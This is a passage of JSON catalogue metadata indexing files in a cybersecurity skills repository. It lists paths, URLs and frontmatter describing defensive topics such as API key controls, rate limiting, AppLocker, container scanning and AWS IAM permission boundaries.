/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-key-security-controls%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":377,"sizeBytes":1327},{"name":"SKILL.md","path":"skills/implementing-api-key-security-controls/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-key-security-controls/SKILL.md","title":"implementing-api-key-security-controls","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-key-security-controls%2FSKILL.md -->","frontmatter":{"name":"implementing-api-key-security-controls","description":"Implements secure API key generation with sufficient entropy, server-side hashing (SHA-256/bcrypt) instead of plaintext storage, per-key scoping to endpoints/IPs/rate limits, zero-downtime rotation, and automated leak monitoring across GitHub repos, logs, and client-side code. Use when designing API key formats, building key rotation or revocation workflows, or protecting server-to-server API credentials from leakage, brute force, and abuse.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","api-keys","credential-management","key-rotation","secret-management"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1003","T1110"]},"isInternal":false,"tokens":3572,"sizeBytes":15804},{"name":"api-reference.md","path":"skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-rate-limiting-and-throttling%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":488,"sizeBytes":1793},{"name":"SKILL.md","path":"skills/implementing-api-rate-limiting-and-throttling/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-rate-limiting-and-throttling/SKILL.md","title":"implementing-api-rate-limiting-and-throttling","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-rate-limiting-and-throttling%2FSKILL.md -->","frontmatter":{"name":"implementing-api-rate-limiting-and-throttling","description":"Implements API rate limiting and throttling with token bucket, sliding window, and fixed window algorithms, configuring per-user, per-IP, and per-endpoint limits via Redis-backed counters, API gateway plugins, or middleware, and returning proper HTTP 429 responses with Retry-After headers. Use when setting up request quota management or preventing brute force, credential stuffing, and resource exhaustion attacks against APIs.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","rate-limiting","throttling","redis","token-bucket","abuse-prevention"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1003","T1110"]},"isInternal":false,"tokens":4217,"sizeBytes":17962},{"name":"api-reference.md","path":"skills/implementing-api-schema-validation-security/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-schema-validation-security/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-schema-validation-security%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":375,"sizeBytes":1530},{"name":"SKILL.md","path":"skills/implementing-api-schema-validation-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-schema-validation-security/SKILL.md","title":"implementing-api-schema-validation-security","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-schema-validation-security%2FSKILL.md -->","frontmatter":{"name":"implementing-api-schema-validation-security","description":"Implements API schema validation using OpenAPI Specification and JSON Schema documents, enforced both at the API gateway (runtime) and during development (shift-left), to lock down request/response contracts and reject unknown properties. Use when preventing injection attacks (SQLi, XSS, XXE), blocking mass assignment, or stopping data leakage through unvalidated API responses.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","schema-validation","openapi","json-schema","input-validation","data-leakage-prevention","mass-assignment","api-gateway"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1055","T1059"]},"isInternal":false,"tokens":3071,"sizeBytes":13777},{"name":"api-reference.md","path":"skills/implementing-api-security-posture-management/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-security-posture-management/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-posture-management%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":401,"sizeBytes":1466},{"name":"SKILL.md","path":"skills/implementing-api-security-posture-management/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-security-posture-management/SKILL.md","title":"implementing-api-security-posture-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-posture-management%2FSKILL.md -->","frontmatter":{"name":"implementing-api-security-posture-management","description":"Implements API Security Posture Management (API-SPM) to continuously discover, classify, and risk-score APIs -- including internal, external, partner, and shadow endpoints -- while aggregating findings from DAST, SAST, SCA, and runtime monitoring into a unified risk view. Use when building continuous API inventory and risk-scoring, detecting configuration drift or policy violations, or unifying API risk visibility across an organization.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","aspm","api-posture-management","api-discovery","risk-scoring","api-governance","continuous-monitoring","api-inventory"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001"]},"isInternal":false,"tokens":3342,"sizeBytes":14934},{"name":"api-reference.md","path":"skills/implementing-api-security-testing-with-42crunch/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-security-testing-with-42crunch/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-testing-with-42crunch%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":425,"sizeBytes":1551},{"name":"SKILL.md","path":"skills/implementing-api-security-testing-with-42crunch/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-security-testing-with-42crunch/SKILL.md","title":"implementing-api-security-testing-with-42crunch","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-security-testing-with-42crunch%2FSKILL.md -->","frontmatter":{"name":"implementing-api-security-testing-with-42crunch","description":"Implements API security testing on the 42Crunch platform, combining API Audit for static analysis of OpenAPI definitions, API Conformance Scan for dynamic vulnerability testing, and API Protect for runtime threat prevention, integrated into CI/CD pipelines and IDEs. Use when shift-left testing APIs for OWASP API Security Top 10 vulnerabilities or setting up 42Crunch audit and conformance scanning.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","42crunch","openapi","api-audit","api-scan","conformance-testing","shift-left","ci-cd-security","owasp-api-top-10"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001"]},"isInternal":false,"tokens":2514,"sizeBytes":11057},{"name":"api-reference.md","path":"skills/implementing-api-threat-protection-with-apigee/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-threat-protection-with-apigee/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-threat-protection-with-apigee%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":426,"sizeBytes":1687},{"name":"SKILL.md","path":"skills/implementing-api-threat-protection-with-apigee/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-threat-protection-with-apigee/SKILL.md","title":"implementing-api-threat-protection-with-apigee","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-threat-protection-with-apigee%2FSKILL.md -->","frontmatter":{"name":"implementing-api-threat-protection-with-apigee","description":"Implements API threat protection using Google Apigee reverse-proxy policies, including JSON/XML threat protection, OAuth 2.0 enforcement, SpikeArrest rate limiting, regex-based threat detection, and Advanced API Security for detecting malicious clients. Use when shielding APIs proxied through Apigee against OWASP API Security Top 10 threats and malicious client abuse patterns.","domain":"cybersecurity","subdomain":"api-security","tags":["apigee","api-gateway","threat-protection","json-threat-protection","xml-threat-protection","spike-arrest","oauth2","google-cloud","owasp-api-top-10"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1078.004","T1530"]},"isInternal":false,"tokens":2662,"sizeBytes":11177},{"name":"template.md","path":"skills/implementing-application-whitelisting-with-applocker/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-application-whitelisting-with-applocker/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":697,"sizeBytes":2796},{"name":"api-reference.md","path":"skills/implementing-application-whitelisting-with-applocker/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-application-whitelisting-with-applocker/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":416,"sizeBytes":1586},{"name":"standards.md","path":"skills/implementing-application-whitelisting-with-applocker/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-application-whitelisting-with-applocker/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":607,"sizeBytes":2882},{"name":"workflows.md","path":"skills/implementing-application-whitelisting-with-applocker/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-application-whitelisting-with-applocker/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":857,"sizeBytes":3942},{"name":"SKILL.md","path":"skills/implementing-application-whitelisting-with-applocker/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-application-whitelisting-with-applocker/SKILL.md","title":"implementing-application-whitelisting-with-applocker","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2FSKILL.md -->","frontmatter":{"name":"implementing-application-whitelisting-with-applocker","description":"Implements application whitelisting using Windows AppLocker to restrict unauthorized software execution on endpoints, reducing attack surface from malware, unauthorized tools, and shadow IT. Use when enforcing application control policies, meeting compliance requirements for software restriction, or preventing execution of unsigned or untrusted binaries. Activates for requests involving AppLocker, application whitelisting, software restriction, or executable control.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","AppLocker","application-whitelisting","windows-security","software-restriction"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036","T1027"]},"isInternal":false,"tokens":2497,"sizeBytes":10482},{"name":"template.md","path":"skills/implementing-aqua-security-for-container-scanning/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aqua-security-for-container-scanning/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":213,"sizeBytes":866},{"name":"api-reference.md","path":"skills/implementing-aqua-security-for-container-scanning/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aqua-security-for-container-scanning/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":518,"sizeBytes":1977},{"name":"standards.md","path":"skills/implementing-aqua-security-for-container-scanning/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aqua-security-for-container-scanning/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":351,"sizeBytes":1633},{"name":"workflows.md","path":"skills/implementing-aqua-security-for-container-scanning/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aqua-security-for-container-scanning/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":270,"sizeBytes":1245},{"name":"SKILL.md","path":"skills/implementing-aqua-security-for-container-scanning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aqua-security-for-container-scanning/SKILL.md","title":"implementing-aqua-security-for-container-scanning","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2FSKILL.md -->","frontmatter":{"name":"implementing-aqua-security-for-container-scanning","description":"Deploy Aqua Security's Trivy scanner to detect vulnerabilities, misconfigurations, secrets, and license issues in container images across CI/CD pipelines and registries.","domain":"cybersecurity","subdomain":"devsecops","tags":["aqua-security","trivy","container-scanning","vulnerability-scanning","sbom","image-security","supply-chain"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004","T1610","T1611"]},"isInternal":false,"tokens":1780,"sizeBytes":7470},{"name":"template.md","path":"skills/implementing-attack-path-analysis-with-xm-cyber/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-attack-path-analysis-with-xm-cyber/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":362,"sizeBytes":1241},{"name":"api-reference.md","path":"skills/implementing-attack-path-analysis-with-xm-cyber/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-attack-path-analysis-with-xm-cyber/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":445,"sizeBytes":1708},{"name":"standards.md","path":"skills/implementing-attack-path-analysis-with-xm-cyber/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-attack-path-analysis-with-xm-cyber/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":324,"sizeBytes":1324},{"name":"workflows.md","path":"skills/implementing-attack-path-analysis-with-xm-cyber/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-attack-path-analysis-with-xm-cyber/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":552,"sizeBytes":2928},{"name":"SKILL.md","path":"skills/implementing-attack-path-analysis-with-xm-cyber/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-attack-path-analysis-with-xm-cyber/SKILL.md","title":"implementing-attack-path-analysis-with-xm-cyber","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2FSKILL.md -->","frontmatter":{"name":"implementing-attack-path-analysis-with-xm-cyber","description":"Deploys XM Cyber's continuous exposure management platform to build attack graphs that chain vulnerabilities, misconfigurations, identity risks, and credential weaknesses toward critical assets, identifying the small fraction of exposures sitting on converging \"choke points\". Use when mapping attack paths across an environment or prioritizing remediation within a continuous threat exposure management (CTEM) program.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["xm-cyber","attack-path-analysis","exposure-management","ctem","choke-points","breach-simulation","attack-surface"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2299,"sizeBytes":10941},{"name":"api-reference.md","path":"skills/implementing-attack-surface-management/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-attack-surface-management/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-surface-management%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":2559,"sizeBytes":9243},{"name":"asm-reference.md","path":"skills/implementing-attack-surface-management/references/asm-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-attack-surface-management/references/asm-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-surface-management%2Freferences%2Fasm-reference.md -->","isInternal":false,"tokens":1607,"sizeBytes":5611},{"name":"SKILL.md","path":"skills/implementing-attack-surface-management/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-attack-surface-management/SKILL.md","title":"implementing-attack-surface-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-surface-management%2FSKILL.md -->","frontmatter":{"name":"implementing-attack-surface-management","description":"Implements external attack surface management (EASM) using Shodan, Censys, and ProjectDiscovery tools (subfinder, httpx, nuclei) for asset discovery, subdomain enumeration, service fingerprinting, and exposure scoring. Includes a weighted risk scoring algorithm based on OWASP attack surface analysis methodology and the Relative Attack Surface Quotient (RSQ). Use when building continuous ASM programs or performing external reconnaissance for security assessments.\n","domain":"cybersecurity","subdomain":"offensive-security","tags":["attack-surface","reconnaissance","shodan","censys","subfinder","nuclei","asset-discovery"],"version":"1.0","author":"mukul975","license":"Apache-2.0","nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1078","T1190","T1059","T1595","T1592"]},"isInternal":false,"tokens":1725,"sizeBytes":7150},{"name":"api-reference.md","path":"skills/implementing-aws-config-rules-for-compliance/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-config-rules-for-compliance/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-config-rules-for-compliance%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":593,"sizeBytes":2383},{"name":"SKILL.md","path":"skills/implementing-aws-config-rules-for-compliance/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-config-rules-for-compliance/SKILL.md","title":"implementing-aws-config-rules-for-compliance","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-config-rules-for-compliance%2FSKILL.md -->","frontmatter":{"name":"implementing-aws-config-rules-for-compliance","description":"Implements AWS Config managed and custom rules for continuous compliance monitoring of AWS resources aligned to CIS and PCI DSS, configuring automatic remediation with SSM Automation and aggregating compliance data across accounts. Use when establishing continuous compliance monitoring, detecting configuration drift, or building a multi-account compliance dashboard via AWS Organizations.","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","config-rules","compliance","automation","remediation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":3197,"sizeBytes":13696},{"name":"template.md","path":"skills/implementing-aws-iam-permission-boundaries/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-iam-permission-boundaries/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":348,"sizeBytes":1513},{"name":"api-reference.md","path":"skills/implementing-aws-iam-permission-boundaries/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-iam-permission-boundaries/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":422,"sizeBytes":1854},{"name":"standards.md","path":"skills/implementing-aws-iam-permission-boundaries/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-iam-permission-boundaries/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":422,"sizeBytes":1817},{"name":"workflows.md","path":"skills/implementing-aws-iam-permission-boundaries/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-iam-permission-boundaries/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":543,"sizeBytes":2610},{"name":"SKILL.md","path":"skills/implementing-aws-iam-permission-boundaries/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-iam-permission-boundaries/SKILL.md","title":"implementing-aws-iam-permission-boundaries","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2FSKILL.md -->","frontmatter":{"name":"implementing-aws-iam-permission-boundaries","description":"Configures AWS IAM permission boundaries that cap the maximum permissions an identity-based policy can grant to a user or role, so effective permissions are the intersection of the identity policy and the boundary even if the policy grants AdministratorAccess. Use when letting security teams delegate IAM role and policy creation to developers for self-service while enforcing least-privilege ceilings and preventing privilege escalation.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["aws","iam","permission-boundaries","least-privilege","delegation","cloud-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1078.004"]},"isInternal":false,"tokens":1937,"sizeBytes":9110},{"name":"template.md","path":"skills/implementing-aws-macie-for-data-classification/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-macie-for-data-classification/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":180,"sizeBytes":775},{"name":"api-reference.md","path":"skills/implementing-aws-macie-for-data-classification/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-macie-for-data-classification/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":505,"sizeBytes":2080},{"name":"standards.md","path":"skills/implementing-aws-macie-for-data-classification/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-macie-for-data-classification/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":155,"sizeBytes":625},{"name":"workflows.md","path":"skills/implementing-aws-macie-for-data-classification/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-macie-for-data-classification/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":168,"sizeBytes":823},{"name":"SKILL.md","path":"skills/implementing-aws-macie-for-data-classification/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-macie-for-data-classification/SKILL.md","title":"implementing-aws-macie-for-data-classification","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2FSKILL.md -->","frontmatter":{"name":"implementing-aws-macie-for-data-classification","description":"Enable and configure Amazon Macie via AWS CLI/Terraform to discover, classify, and protect sensitive data (PII, financial data, credentials) in S3 using ML and pattern matching, including discovery jobs, custom data identifiers, allow lists, and EventBridge-based remediation. Use 